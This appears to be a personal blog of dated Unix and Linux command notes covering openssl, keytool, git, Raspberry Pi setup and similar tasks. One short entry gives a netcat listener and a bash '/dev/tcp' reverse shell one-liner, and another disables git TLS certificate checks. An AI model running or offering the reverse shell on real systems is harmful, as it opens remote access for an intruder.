May 21, 2020

HowTo Unix Tools

find and grep

Linux:

$ find / -name jre 2>&1 | grep -v "Permission denied"

$ find / -name jre 2>/dev/null

Solaris:

$ find ./ -type f -exec grep "foo" {} +
$ find ./ -name "name of file" -type f -exec grep "sign of parameter" {} + | grep -v "ignore me"

openssl

Export cert from keystore

$ openssl pkcs12 -in keystore.p12 -out cert.pem -nodes

Show cert details

$ openssl x509 -in cert.pem -text -noout

Export public key from cert

$ openssl x509 -pubkey -noout -in cert.crt > pubkey.pem

Export private key from keystore in pem format

$ openssl pkcs12 -in keystore.p12 -nocerts -nodes -out key.pem

Convert key from pem to der format 

$ openssl rsa -pubin -inform PEM -in pubkey.pem -outform DER -out pubkey.der

$ openssl rsa -pubin -inform PEM -in key.pem -outform DER -out key.der

Decrypt private key

$ openssl rsa -in key.pem -out private.key

Calculate Shake256 hash

$ cat public.key | openssl shake256

nc

listen tcp port:

$ nc -lv <port>

telnet

connect to tcp port:

$ telnet <ip> <port>

finish connect:

Ctrl + ] - go to cmd
telnet> close - close the connection

touch

$ touch -a -m -t 202108180130.09 <file name>

networking

show
$ netstat -rn

show default gw
$ ip route

delete
$ sudo route delete default gw 192.168.88.1 eth1

curl

send post request

$ curl -H "Content-Type: application/json" --data @body.json http://localhost:8080/ui/webapp/conf

send GET request

$ curl http://localhost:8080/ui/webapp/conf

tar

Extract

$ tar -xvzf image.tar.gz

Create

$ tar -czvf image.tar.gz /path/to/dir

Show content

$ tar -ztvf image.tar.gz

dd

Add padding to file

$ dd if=/dev/zero bs=1 count=8 >> public.pad.key

sed

Replace A to B in file

$ cat input.file | sed 's/A/B/g' > output.file

keytool

Show contains

$ keytool -list -v -keystore keystore.jks

Convert keystore in JCEKS format to P12

$ keytool -importkeystore -srckeystore keystore.jks -destkeystore keystore.p12 -srcstoretype jceks -alias mycert

Import key/cert into jceks keystore from other

$ keytool -importkeystore -srckeystore source.jks -destkeystore keystore.jceks -srcstoretype jceks -alias mycert

Change password for key in keystore:

$ keytool -keypasswd -alias mycert -keystore keystore.jks

Delete alias from keystore:

$ keytool -delete -alias mycert -keystore keystore.jks


Jul 19, 2019

How to add a Shared Folder in VirtualBox

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.2 LTS
Release: 18.04
Codename: bionic

$ uname -a
Linux ubuntu-vm 4.18.0-25-generic #26~18.04.1-Ubuntu SMP Thu Jun 27 07:28:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Devices > Shared Folders > Settings

Add the Path, Name and enable "Auto-mount" and "Make permanent" options.

Finally add your user to the group vboxsf:

$ sudo usermod -G vboxsf -a <my_user_name>

Logout and back again or reboot the machine.

---

If you plugged in the drive (shared folder) after loading OS you can restart vbox service:

$ sudo systemctl restart vboxadd-service.service

Jul 18, 2019

How to build MKVToolNix from SC

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.2 LTS
Release: 18.04
Codename: bionic

$ uname -a
Linux ubuntu-vm 4.18.0-25-generic #26~18.04.1-Ubuntu SMP Thu Jun 27 07:28:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

$ mkdir mkv
$ cd mkv/
$ git clone https://gitlab.com/mbunkus/mkvtoolnix.git
$ cd mkvtoolnix/
$ sudo apt install autoconf
$ sudo apt install rake
$ cd ..
$ git clone https://github.com/Matroska-Org/libebml.git
$ git clone https://github.com/Matroska-Org/libmatroska.git
$ cd libebml/
$ mkdir build
$ cd build/
$ sudo apt install cmake
$ sudo apt install gcc
$ sudo apt install g++
$ cmake ..
$ make
$ sudo make install
$ cd ..
$ cd libmatroska/
$ mkdir build
$ cd build/
$ cmake ..
$ make
$ sudo make install
$ cd ..
$ cd mkvtoolnix/
$ ./autogen.sh
$ sudo apt install libogg-dev
$ sudo apt install libvorbis-dev
$ rake
$ git submodule init
$ git submodule update
$ sudo apt install zlib1g-dev
$ sudo apt install libboost1.65-all-dev
$ sudo apt install docbook-xsl
$ sudo apt install libxslt-dev
$ sudo apt install libxml2-dev
$ sudo apt install libxslt1-dev
$ sudo apt install libxml2
$ sudo apt autoremove
$ sudo apt install xsltproc
$ ./configure
$ rake
$ sudo rake install
$ mkvmerge -h
$ mkvextract -h
$ mkvinfo -h
$ mkvpropedit -h

Jun 22, 2019

Raspberry Pi

First start with raspberry!

1. Download Raspberry Pi OS Lite image

Official site: https://www.raspberrypi.org/software/operating-systems/

2. Copy image to SD card
 

3. First connection

login: pi
password: raspberry

4. Enable SSH

$ sudo update-rc.d ssh defaults
$ sudo su
$ systemctl enable ssh.socket
$ exit
$ sudo reboot

5. Update repositories

$ sudo apt-get update

6. Change keyboard layout

$ sudo raspi-config

Localization Options
    Change Keyboard Layout
        Choose your keyboard or one of the generics
            English (US)

$ sudo reboot

7. Configure wireless network

Fine your AP

$ sudo iwlist wlan1 scan | grep ESSID

Add info about access point to config file

$ vim /etc/wpa_supplicant/wpa_supplicant.conf

network={
  ssid="bla-bla-bla"
  psk="secret password"
}

Set IP address

$ sudo vim /etc/network/interfaces

allow-hotplug wlan0
iface wlan0 inet static
address 192.168.88.8
netmask 255.255.255.0
gateway 192.168.88.1
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

Set country for Wi-Fi (to activate 5Ghz)

via terminal:
$ sudo iw reg get
$ sudo iw reg set US

via raspi-config
$ sudo raspi-config
Localisation Options
  Change Wi-fi Country
    US United States
      OK
        Finish.

8. Install KODI
sudo apt-get install kodi
9. Install torrent client

$ sudo apt-get install transmission-daemon

qbit is better

7. Install vim

$ sudo apt-get install vim

8. Настройка Locale

$ sudo dpkg-reconfigure locales
en_US.UTF-8 UTF-8
ru_RU.UTF-8 UTF-8

In iTerm disable the checkbox "Preferences>Profiles>Default>Advanced>International>Set locale variables automatically on startup"

9. Connect remote usb drive

Identify The Devices Unique ID:
$ cat /var/log/messages | tail
$ sudo fdisk -l /dev/sda
$ ls -l /dev/disk/by-uuid/ | grep sda1

Auto Mount Configure:
$ sudo vim /etc/fstab

UUID=63AB615E7F0C41A6 /media/2tb ntfs-3g auto,nofail,noatime,users,rw,uid=pi,gid=pi 0 0
UUID=66f72624-fda3-0bf6-41f1-1e0d4b1df6b0 /media/4tb ext4 rw,suid,dev,exec,auto,users,nofail 0 0

$ sudo mkdir /media/2tb
$ sudo chown -R pi:pi /media/usb

# for ext4 uid parameters are unavailable. Root permissions will be changed automatically to User permission after mounting.

$ sudo mkdir /media/4tb

$ reboot

10. Настройка transmission

$ sudo systemctl stop transmission-daemon

$ sudo vim /etc/transmission-daemon/settings.json
"upload-limit": 300,
    "upload-limit-enabled": 1,
    "download-dir": "/media/usb/Downloads",
    "download-limit": 1000,
    "download-limit-enabled": 1
"rpc-whitelist": "127.0.0.1,<your-ip>"

$ sudo systemctl start transmission-daemon

11. Подключение к transmission (transmission - transmission)

http://<raspberry-ip>:9091/transmission

########################################

Problem 1: Cannot open access to console, the root account is locked.

1. Mount SD card to windows machine
2. Edit cmdline.txt
    Add to the end of file: init=/bin/bash
3. Start Raspberry Pi
4. Remount root partition to RW:
    $ mount -o remount,rw /dev/mmcblk0p2 /

5. Fix fstab file
    $ vim /etc/fstab

6. Mount SD card to windows machine and remove latest changes in cmdline.txt
7. Start Raspberry Pi

- How to install new locale?

$ sudo vim /etc/locale.gen

uncomment ru_RU.UTF-8, en_US.UTF-8

$ sudo locale-gen ru_RU.UTF-8
$ sudo locale-gen en_US.UTF-8

$ sudo update-locale en_US.UTF-8

#####

Feb 13, 2017

Git

Configuration

Setup name and email

$ git config --global user.name "Ivan Ivanov"
$ git config --global user.email ivanov@example.com

Show current settings

$ git config --list

Disable cert verify (permanently)

$ git config --global http.sslVerify false

Generate key

# RSA (Rivest–Shamir–Adleman)

$ ssh-keygen -b 2048 -t rsa

EdDSA (Edwards-curve Digital Signature Algorithm)

$ ssh-keygen -t ed25519 -C "rokshd@example.org"

Copy key pair to ~/.ssh/

Add key to Git Bash (windows)

Add path to key to config C:\Program Files\Git\etc\ssh\ssh_config

    IdentityFile ~/.ssh/your-ssh-private-key

Basic workflow

Create local repo

$ git init

Download source code from remote repository

$ git clone https://path/to/the/repository.git

Push to remote repositiry

$ git remote add origin git@github.com:path/to/the/repository.git
$ git push -u origin master


Disable cert verify (temporary)

$ git -c http.sslVerify=false clone https://path/to/the/repository.git

Show current branch name

$ git branch

Show names for all branches 

$ git branch -a

Switch to the specific branch

$ git checkout test-branch

Create new branch and switch to it

$ git checkout -b new-branch

Show all commits for the current branch

$ git log
$ git log --graph

Move to the specific commit in the current branch

$ git reset --hard f9de5034ed4f6c1174137d06c85bad637c5c5890

Remove the specific branch

$ git branch -d test_branch

Выполнить слияние какой-либо ветки с текущей веткой

$ git merge master

Просмотр изменений по отношению к последнему коммиту:

$ git status

Добавить файлы, которые были изменены:

$ git add .

Add only the modified and deleted files (without untracked)

$ git add -u

Удалить файлы из отслеживаемых:

$ git rm -r --cached .idea/misc.xml

Создать коммит:

$ git commit -m "Commit description"

Добавить внешний репозиторий:

$ git remote add origin https://github.com/rokshd/test_app

Залить последние изменения на внешний репозиторий:

$ git push origin master
$ git push -u origin master (след. раз можно git push для данной ветки)
$ git push

Слить последние изменения из репозитория для указанной ветки:

$ git pull origin test-branch
$ git pull

Отменить изменения для конкретного файла:

$ git checkout db/migrate/20170224101945_create_answers.rb

$ git stash list

$ git stash apply

$ git pull

To unstage a specific file

$ git reset <file>

REBASE

After committing changes to your branch, checkout master and pull it to get its latest changes from the repo

$ git checkout master
$ git pull origin master

Then checkout your branch and rebase your changes on master

$ git checkout RB
$ git rebase master... 

or last two commands in one line:

$ git rebase master RB

Jan 6, 2017

HTTP Web Server - Python

Python 2 - CLI

$ python -m SimpleHTTPServer 8080

Python 3 - CLI

$ python -m http.server 8080

Python 3

Generate Cert

$ openssl req -new -x509 -keyout cert.pem -out cert.pem -days 365 -nodes

Create web server

$ vim ws.py
import http.server, ssl

server_address = ('192.168.0.1', 8443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,server_side=True,certfile='cert.pem',ssl_version=ssl.PROTOCOL_TLSv1_2)
httpd.serve_forever()
$ python3 ws.py

Dec 5, 2016

How to operate with base64

Encode file:
$ base64 message.file > message.file.base64

Decode file:
$ base64 --decode message.file.base64 > message.file

Encode string:
$ echo "open message" | base64 > message.base64

Decode string:
$ echo "b3BlbiBtZXNzYWdlCg==" | base64 --decode > message.file

How to modify text files

Remove newline (\n) character:
$ tr -d "\n" < file.original > file.new

Replace newline (\n) character:
$ tr "\n" " " < file.original > file.new

Aug 15, 2016

bash prompt setup

Mac: ~/.bash_profile

Ubuntu: ~/.bashrc


export PATH="$PATH:$HOME/.rvm/bin"
source ~/.rvm/scripts/rvm

parse_git_branch() {
     git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'

}

export PS1="\[\033[36m\]\u@\h \[\033[32m\]\W\[\033[33m\]\$(parse_git_branch)\[\033[00m\] $ "

Aug 13, 2016

ruby hex to dec and dec to hex

$ irb

irb(main):001:0> "ff".to_i 16
=> 255

irb(main):004:0> 255.to_s 16
=> "ff"

irb(main):007:0> "ff".hex
=> 255


bash color

export PS1="\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ "
export CLICOLOR=1
export LSCOLORS=ExFxBxDxCxegedabagacad

alias ll='ls -lah'

alias cl='clear'

vim syntax color

echo "syntax on" > ~/.vimrc

Jul 13, 2016

flash disk recovery

$ sudo fdisk -l

$ sudo fdisk /dev/sdc

> d (delete partitions)
> n (new partition - primary)
> w (write changes)

$ sudo lsblk /dev/sdc1

$ sudo mkfs.vfat /dev/sdc1

$ sudo eject /dev/sdc

Jul 9, 2016

extract subtitles from mkv

$ brew install mkvtoolnix

$ mkvmerge -i <file>

$ mkvextract tracks <file> 3:sub3.srt 4:sub4.srt

Jul 8, 2016

nc bash reverse shell

attacker:
$  nc -n -vv -l -p <port>

victim:
$ /bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1

May 24, 2016

objdump tool


Install the command line tools:
$ brew install binutils

Print out shared library dependencies:
$ otool -L <file> ( ldd <file> )

Disassemble the text section:
$ otool -tV ( objdump -j .text -d <file> )

Dump the contents of the data section:
$ otool -dv <file> ( objdump -j .data -s <file> )

Mar 10, 2016

bash head tail

get a header:

$ cat myfile | head -c 1024 > file.new

get a header with offset:

$ cat myfile | tail -c +4096 | head -c 1024 > test.new

Feb 17, 2016

wireshark

Installation: sudo apt-get install wireshark

Problem: "There are no interfaces on which a capture can be done."

Solution:

sudo groupadd wireshark
sudo usermod -a -G wireshark $USER
sudo chgrp wireshark /usr/bin/dumpcap
sudo chmod 755 /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

happ

# скачиваем deb пакет с официального сайта https://www.happ.su/main/ru # установка deb пакета $ sudo dpkg -i /tmp/Happ.linux.x64.deb # устан...